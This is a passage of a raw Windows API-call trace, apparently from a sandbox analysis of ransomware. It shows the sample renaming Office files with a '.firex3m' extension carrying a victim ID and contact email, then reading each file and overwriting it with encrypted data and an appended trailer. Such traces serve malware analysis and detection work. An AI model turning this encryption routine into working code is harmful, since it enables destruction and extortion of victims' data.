liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.534] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0155.534] CloseHandle (hObject=0x688) returned 1 [0155.534] GetProcessHeap () returned 0x630000 [0155.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc3b8 | out: hHeap=0x630000) returned 1 [0155.534] GetProcessHeap () returned 0x630000 [0155.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc688 | out: hHeap=0x630000) returned 1 [0155.534] GetProcessHeap () returned 0x630000 [0155.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175cd8 | out: hHeap=0x630000) returned 1 [0155.534] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22a78812, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x323fd20, dwReserved1=0x6dc688, cFileName="WINWORD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINWOR~3.FIR")) returned 0x6d5280 [0155.534] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0155.534] Sleep (dwMilliseconds=0x1) [0155.606] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXC", len=0x44 | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXC") returned 1 [0155.606] GetProcessHeap () returned 0x630000 [0155.606] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b48) returned 0x707d3d0 [0155.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0155.607] CloseHandle (hObject=0x4bc) returned 1 [0155.607] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.608] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf54f91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf54f91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaf54f91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINWOR~4.FIR")) returned 0x6d53c0 [0155.608] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0155.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0155.609] GetProcessHeap () returned 0x630000 [0155.609] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x71eb248 [0155.609] GetProcessHeap () returned 0x630000 [0155.609] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x71eb798 [0155.609] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.609] ReadFile (in: hFile=0x4bc, lpBuffer=0x71eb248, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71eb248*, lpNumberOfBytesRead=0x323ff0c*=0x260, lpOverlapped=0x0) returned 1 [0155.615] GetProcessHeap () returned 0x630000 [0155.615] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71774e8 [0155.615] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.616] WriteFile (in: hFile=0x4bc, lpBuffer=0x71eb798*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71eb798*, lpNumberOfBytesWritten=0x323ff0c*=0x260, lpOverlapped=0x0) returned 1 [0155.616] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.616] WriteFile (in: hFile=0x4bc, lpBuffer=0x71eb9f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71eb9f7*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0155.616] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.616] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0155.616] CloseHandle (hObject=0x4bc) returned 1 [0155.616] GetProcessHeap () returned 0x630000 [0155.616] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71eb798 | out: hHeap=0x630000) returned 1 [0155.616] GetProcessHeap () returned 0x630000 [0155.616] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71eb248 | out: hHeap=0x630000) returned 1 [0155.616] GetProcessHeap () returned 0x630000 [0155.616] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71774e8 | out: hHeap=0x630000) returned 1 [0155.616] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.616] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf54f91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf54f91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22b37615, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x323fd20, dwReserved1=0x71eb248, cFileName="WINWORD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINWOR~4.FIR")) returned 0x6d5280 [0155.617] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0155.617] Sleep (dwMilliseconds=0x1) [0155.622] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\PowerViewRes.et.xap", len=0x65 | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\PowerViewRes.et.xap") returned 1 [0155.622] GetProcessHeap () returned 0x630000 [0155.622] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b4c) returned 0x707d3d0 [0155.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\PowerViewRes.et.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\et\\powerviewres.et.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0157.764] CloseHandle (hObject=0x718) returned 1 [0157.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0157.764] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\PowerViewRes.et.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\et\\powerviewres.et.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\PowerViewRes.et.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\et\\powerviewres.et.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0157.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0157.765] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\PowerViewRes.et.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13440553, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e9db, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.et.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5040 [0157.765] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0157.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\PowerViewRes.et.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\et\\powerviewres.et.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0157.765] GetProcessHeap () returned 0x630000 [0157.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x720f9c0 [0157.765] GetProcessHeap () returned 0x630000 [0157.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x721adf0 [0157.765] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.765] ReadFile (in: hFile=0x718, lpBuffer=0x720f9c0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x720f9c0*, lpNumberOfBytesRead=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0164.148] GetProcessHeap () returned 0x630000 [0164.148] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176020 [0164.149] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.149] WriteFile (in: hFile=0x718, lpBuffer=0x721adf0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x721adf0*, lpNumberOfBytesWritten=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0164.149] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.149] WriteFile (in: hFile=0x718, lpBuffer=0x72261ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72261ef*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.392] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.392] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.393] CloseHandle (hObject=0x718) returned 1 [0165.393] GetProcessHeap () returned 0x630000 [0165.393] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x721adf0 | out: hHeap=0x630000) returned 1 [0165.393] GetProcessHeap () returned 0x630000 [0165.393] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x720f9c0 | out: hHeap=0x630000) returned 1 [0165.395] GetProcessHeap () returned 0x630000 [0165.395] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176020 | out: hHeap=0x630000) returned 1 [0165.395] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\PowerViewRes.et.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13440553, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x288790ee, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4e9ff, dwReserved0=0xc0c7496, dwReserved1=0x720f9b8, cFileName="PowerViewRes.et.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d53c0 [0165.396] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0165.396] Sleep (dwMilliseconds=0x1) [0165.400] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\PowerPivotExcelClientAddIn.rll") returned 1 [0165.400] GetProcessHeap () returned 0x630000 [0165.400] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2be4) returned 0x707d3d0 [0165.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1040\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0166.656] CloseHandle (hObject=0x4b8) returned 1 [0166.656] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.656] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1040\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1040\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0170.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0170.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5580 [0170.873] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0170.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1040\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0170.873] GetProcessHeap () returned 0x630000 [0170.873] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73b5a60 [0170.874] GetProcessHeap () returned 0x630000 [0170.874] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73c0e90 [0170.875] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.875] ReadFile (in: hFile=0x4b8, lpBuffer=0x73b5a60, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b5a60*, lpNumberOfBytesRead=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.116] GetProcessHeap () returned 0x630000 [0180.116] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0180.116] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.116] WriteFile (in: hFile=0x4b8, lpBuffer=0x73c0e90*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c0e90*, lpNumberOfBytesWritten=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.117] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.117] WriteFile (in: hFile=0x4b8, lpBuffer=0x73cc28f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73cc28f*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0180.117] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.117] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0180.117] CloseHandle (hObject=0x4b8) returned 1 [0180.118] GetProcessHeap () returned 0x630000 [0180.118] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73c0e90 | out: hHeap=0x630000) returned 1 [0180.118] GetProcessHeap () returned 0x630000 [0180.118] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73b5a60 | out: hHeap=0x630000) returned 1 [0180.118] GetProcessHeap () returned 0x630000 [0180.118] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0180.118] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0180.118] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x314fa7a7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x114e4, dwReserved0=0xc0c7496, dwReserved1=0x73b5a58, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5440 [0180.118] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0180.118] Sleep (dwMilliseconds=0x1) [0182.235] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOneNote.nrr", len=0x46 | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOneNote.nrr") returned 1 [0182.235] GetProcessHeap () returned 0x630000 [0182.235] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a80) returned 0x707d3d0 [0182.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOneNote.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeonenote.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0182.236] CloseHandle (hObject=0x4f0) returned 1 [0182.236] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.236] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOneNote.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeonenote.nrr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOneNote.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeonenote.nrr.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.237] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.237] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOneNote.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaebc65e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaebc65e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaebc65e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeOneNote.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TEF1EF~1.FIR")) returned 0x6d4ec0 [0182.237] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0182.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOneNote.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeonenote.nrr.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0182.237] GetProcessHeap () returned 0x630000 [0182.237] RtlAllocateHeap 